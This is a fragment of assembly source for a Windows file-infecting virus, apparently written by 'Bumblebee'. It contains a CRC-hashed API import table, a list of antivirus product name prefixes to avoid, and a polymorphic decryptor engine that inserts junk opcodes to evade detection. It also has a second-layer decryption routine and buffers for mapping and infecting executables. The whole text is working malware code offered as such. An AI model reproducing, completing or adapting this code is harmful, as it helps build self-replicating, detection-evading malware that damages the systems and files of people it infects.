CrcVirtualAlloc dd 04402890eh db 13 _VirtualAlloc dd 0 CrcGetTickCount dd 0613fd7bah db 13 _GetTickCount dd 0 CrcGetFileTime dd 04434e8feh db 12 _GetFileTime dd 0 CrcSetFileTime dd 04b2a3e7dh db 12 _SetFileTime dd 0 CrcSetFileAttributesA dd 03c19e536h db 19 _SetFileAttributesA dd 0 CrcGetFileAttributesA dd 0c633d3deh db 19 _GetFileAttributesA dd 0 CrcGetFileSize dd 0ef7d811bh db 12 _GetFileSize dd 0 CrcGetSystemTime dd 075b7ebe8h db 14 _GetSystemTime dd 0 CrcFatalAppExitA dd 0253ab1b9h db 14 _FatalAppExitA dd 0 CrcMoveFileA dd 02308923fh db 10 _MoveFileA dd 0 CrcCopyFileA dd 05bd05db1h db 10 _CopyFileA dd 0 CrcCreateProcessA dd 0267e0b05h db 15 _CreateProcessA dd 0 CrcSearchPathA dd 0f4d9d033h db 12 _SearchPathA dd 0 CrcGetCurrentDirectoryA dd 0ebc6c18bh db 21 _GetCurrentDirectoryA dd 0 CrcSetCurrentDirectoryA dd 0b2dbd7dch db 21 _SetCurrentDirectoryA dd 0 CrcGetWindowsDirectoryA dd 0fe248274h db 21 _GetWindowsDirectoryA dd 0 ENDAPI label byte ; AV: AVP, PAV, NAV, ... ; AN: SCAN, VISUSSCAN, ... ; DR: DRWEB ; ID: SPIDER ; OD: NOD-ICE ; TB: THUNDERBYTE... (this still exists?) ; F-: F-PROT, ... avStrings dw 'VA','NA','RD','DI','DO','BT','-F' vStringsCout equ (offset $-offset avStrings)/2 fndMask db '*.*',0 ; ; Virus data ends here ----------------------------------------------------- ; ; ; Polymorphic Engine (V2LPE - Very^2 Lame Polymorphic Engine) ; ; This is a simple polymorphic engine. Uses some piezes of code from ; AOCPE. Very, very lame :( But does its work as poly engine. May be ; its size the only one point for. ; ; EAX: CrptKey ; ECX: CodeSize (code to decrypt prepared yet) ; EDI: Destination address ; ; returns EAX: size of generated proc ; GenDCrpt: pushad ; setup regs status xor eax,eax lea edi,RegStatus+ebp mov ecx,8 rep stosb popad mov byte ptr [RegStatus+ebp+_EBP],1 mov byte ptr [RegStatus+ebp+_ESP],1 mov dword ptr [CrptKey+ebp],eax mov dword ptr [CodeSize+ebp],ecx push edi xor eax,eax call GetReg mov byte ptr [KeyReg+ebp],al call AddShit mov cl,_EBP call AddPushREG call AddShit mov ax,0ec8bh stosw call AddShit mov edx,04h mov cl,_EBP call AddMovREGMEMEBP call AddShit mov cl,byte ptr [KeyReg+ebp] call AddPushREG call AddShit mov cl,byte ptr [KeyReg+ebp] mov edx,dword ptr [CrptKey+ebp] call AddMovREGINM call AddShit call GetReg mov byte ptr [LoopReg+ebp],al mov cl,al call AddPushREG call AddShit mov cl,byte ptr [LoopReg+ebp] mov edx,dword ptr [CodeSize+ebp] call AddMovREGINM call AddShit push edi mov cl,byte ptr [KeyReg+ebp] call AddXorMEMEBPREG call AddShit mov cl,_EBP mov edx,04h call AddAddREGINM call AddShit mov cl,byte ptr [LoopReg+ebp] mov edx,1 call AddSubREGINM pop ebx mov eax,edi sub eax,ebx push eax mov al,75h stosb pop eax mov ah,0feh xchg al,ah sub al,ah stosb call AddShit mov cl,byte ptr [LoopReg+ebp] call AddPopREG call AddShit mov al,byte ptr [LoopReg+ebp] call FreeReg mov cl,byte ptr [KeyReg+ebp] call AddPopREG call AddShit mov cl,_EBP call AddPopREG call AddShit mov al,0c3h stosb pop esi sub edi,esi mov eax,edi ret ; ; Poly engine data ; _EAX equ 0 _ECX equ 1 _EDX equ 2 _EBX equ 3 _ESP equ 4 _EBP equ 5 _ESI equ 6 _EDI equ 7 RegStatus db 8 dup(0) KeyReg db 0 LoopReg db 0 CrptKey dd 0 CodeSize dd 0 Rnd db ? ; ; returns AL: selected register ; GetReg: xor eax,eax mov al,byte ptr [CrptKey+ebp] GetReg1: and al,7 lea ecx,RegStatus+ebp add ecx,eax mov dl,byte ptr [ecx] or dl,dl jz GetReg0 inc al jmp GetReg1 GetReg0: mov byte ptr [ecx],1 ret ; ; AL: selected register to free ; FreeReg: and eax,7 lea ecx,RegStatus+ebp add ecx,eax mov byte ptr [ecx],0 ret ; ; Instruction generators ; ; EDI: Destination code ; ECX: Reg (if applicable) ; EDX: Inm (if applicable) ; AddPushREG: mov al,050h add al,cl stosb ret AddPopREG: mov al,058h add al,cl stosb ret AddMovREGINM: mov al,0b8h add al,cl stosb mov eax,edx stosd ret AddMovREGMEMEBP: mov al,08bh stosb mov al,08h mul cl add al,85h stosb mov eax,edx stosd ret AddXorMEMEBPREG: mov al,031h stosb mov al,08h mul cl add al,45h stosb xor al,al stosb ret AddAddREGINM: or cl,cl jnz AddAddREGINM0 mov al,05h stosb jmp AddAddREGINM1 AddAddREGINM0: mov al,081h stosb mov al,0c0h add al,cl stosb AddAddREGINM1: mov eax,edx stosd ret AddSubREGINM: or cl,cl jnz AddSubREGINM0 mov al,2dh stosb jmp AddSubREGINM1 AddSubREGINM0: mov al,081h stosb mov al,0e8h add al,cl stosb AddSubREGINM1: mov eax,edx stosd ret ; ; Yet another lame shit generator by Bumblebee ;) ; AddShit: mov eax,dword ptr [CrptKey+ebp] add byte ptr [Rnd+ebp],al and al,1 jz AddShit2 xor eax,eax mov al,byte ptr [Rnd+ebp] lea edx,shit0+ebp and al,7 mov cl,2 mul cl add edx,eax mov ax,word ptr [edx] stosw mov al,byte ptr [Rnd+ebp] and al,2 jz AddShit2 lea edx,shit1+ebp mov al,byte ptr [Rnd+ebp] and al,3 mov cl,2 mul cl add edx,eax mov ax,word ptr [edx] stosw stosw ret AddShit2: xor eax,eax mov al,byte ptr [Rnd+ebp] lea edx,shit0+ebp and al,7 mov cl,2 mul cl add edx,eax mov ax,word ptr [edx] stosw lea edx,shit0+ebp add edx,2 mov al,byte ptr [Rnd+ebp] and al,3 mov cl,2 mul cl add edx,eax mov ax,word ptr [edx] stosw ret ; some do-nothing opcodes shit0: dw 9090h,0db87h,0c987h,0d287h,4840h,434bh,4941h,4a42h shit1: dw 0d0f7h,0d3f7h,0d1f7h,0d2f7h crptSecondEND label byte ; Decryptor for the second layer. secondLayerDecrypt: push ebp mov ebp,esp push ecx mov ebp,dword ptr [ebp+4] mov ecx,crptSecondEND-crptSecondINI secondLayerLoop: not byte ptr [ebp] inc ebp loop secondLayerLoop pop ecx ebp ret crptEND label byte vEnd label byte ; This is a fake decryptor for the 1st generation. Allows the virus to ; skip the second layer decryptor. crypt: pop edx lea edx,crptSecondINI push edx ret ; ; Temp data. Not stored into the file, only 1st generation. ; BUFFERBEGIN label byte stringBuffer db STRINGTOP dup(0) tmpPath db STRINGTOP dup(0) address dd 0 names dd 0 ordinals dd 0 nexports dd 0 expcount dd 0 memHnd dd 0 fHnd dd 0 fhmap dd 0 mapMem dd 0 fileSize dd 0 fileAttrib dd 0 fileTime0 dd 0,0 fileTime1 dd 0,0 fileTime2 dd 0,0 pad dd 0 fNameAddr dd 0 gensize dd 0 virtsize dd 0 myRVA dd 0 fstSec dd 0 find_data WIN32_FIND_DATA <0> findHnd dd 0 semHook db 0 EPORva dd 0 BUFFEREND label byte BUFFERSIZE equ BUFFEREND-BUFFERBEGIN ; ; For 1st generation only. ; fakeHost: push 0h call ExitProcess Ends End inicio